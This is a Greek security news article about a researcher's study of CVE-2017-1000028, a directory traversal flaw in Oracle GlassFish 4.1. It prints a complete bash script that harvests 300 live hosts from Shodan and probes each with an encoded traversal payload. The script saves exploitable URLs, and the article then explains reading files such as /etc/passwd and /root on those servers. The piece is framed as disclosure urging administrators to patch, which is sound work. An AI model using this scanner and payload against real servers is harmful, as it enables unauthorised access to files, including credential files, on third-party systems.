GlassFish Oracle Ευπάθεια: Ο ερευνητής Ασφάλειας Δημήτρης Ρούσσης μας αναλύει πως μια ευπάθεια πάνω στον γνωστό Application Server GlassFish της Oracle που έχει αναγνωριστεί ως CVE-2017-1000028 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000028) εκθέτει σήμερα δεδομένα σε χιλιάδες servers παγκοσμίως.
Η εκμετάλλευση του κενού ασφαλείας επιτρέπει την ανάγνωση μέσω επίθεσης τύπου Directory Traversal Attack όλων των αρχείων του server που είναι εγκατεστημένος ο Application Server.
Στην ανάλυση που πραγματοποιεί ο ερευνητής αρχικά χρησιμοποιούνται ως δείγμα 300 servers μέσω της μηχανής αναζήτησης shodan που έχουν εγκατεστημένο τον GlashFish στην έκδοση 4.1.
Στην συνέχεια μέσω ενός αυτοματοποιημένου script που δημιούργησε ο ερευνητής ελέγχονται σε ποιους από τους servers υφίσταται πραγματικά η ευπάθεια.
#!/bin/bash # Get 300 Results From Shodan search engine shodan search --limit 300 --fields ip_str GlassFish 4.1 port:4848 > servers_ip.txt # Sort IP cat servers_ip.txt | sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 > servers_sort.txt # Remove All Whitespace sed -r 's/\s+//g' servers_sort.txt > servers.txt # Delete Temporary Files rm servers_ip.txt rm servers_sort.txt # Server List input="servers.txt" # check Server for the vulnerability while IFS= read -r line do ip=$line # http://server_ip/theme/META-INF/../../../../../../../../../../ url="http://$line:4848/theme/META-INF/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af" echo -n "ip: $line" fetch=`curl -s -o /dev/null --max-time 5 -w "%{http_code}" $url`; if [ $fetch = 200 ] then echo " - Connection Successful! Server is vulnerable" #Save result in vulnerable_servers.txt echo "$url" >> vulnerable_servers.txt else echo " - Connection Failed! Server is Not vulnerable" fi done < "$input"
Το τελικό αποτέλεσμα του script είναι η δημιουργία ενός αρχείου που περιλαμβάνει συνδέσμους (urls) προς άμεση εκμετάλλευση της ευπάθειας.
Εξετάζοντας τους συνδέσμους που συμπεριλαμβάνονται στο αρχείο browser μπορούμε να δούμε όλα τα αρχεία στο /root του Server.
Ενδεικτικά:
Windows Server
Linux Server
Μπορούμε πλέον να προσπελάσουμε οποιοδήποτε αρχείο επιθυμούμε στον Server προσθέτοντας την διαδρομή του αρχείου στο τέλος του url.
Π.χ.
/etc/passwd
/root
Η παραπάνω μελέτη αποδεικνύει αφενός μεν πως μια ευπάθεια μπορεί να οδηγήσει στην αποκάλυψη δεδομένων σε ευρεία κλίμακα παγκοσμίως και αφετέρου την αναγκαιότητα άμεσης εφαρμογής των ενημερώσεων λογισμικού από τους Διαχειριστές των συστημάτων.
Η συντακτική ομάδα του SecNews ευχαριστεί θερμά τον ερευνητή Δημήτριο Ρούσση για την έγκυρη και έγκαιρη ενημέρωση.
* Ο Δημήτρης Ρούσσης είναι μέλος του Εργαστηρίου Ασφάλειας Πληροφοριακών Συστημάτων του Πανεπιστημίου Αιγαίου.
http://www.icsd.aegean.gr/group/members-data.php?group=L1&member=1652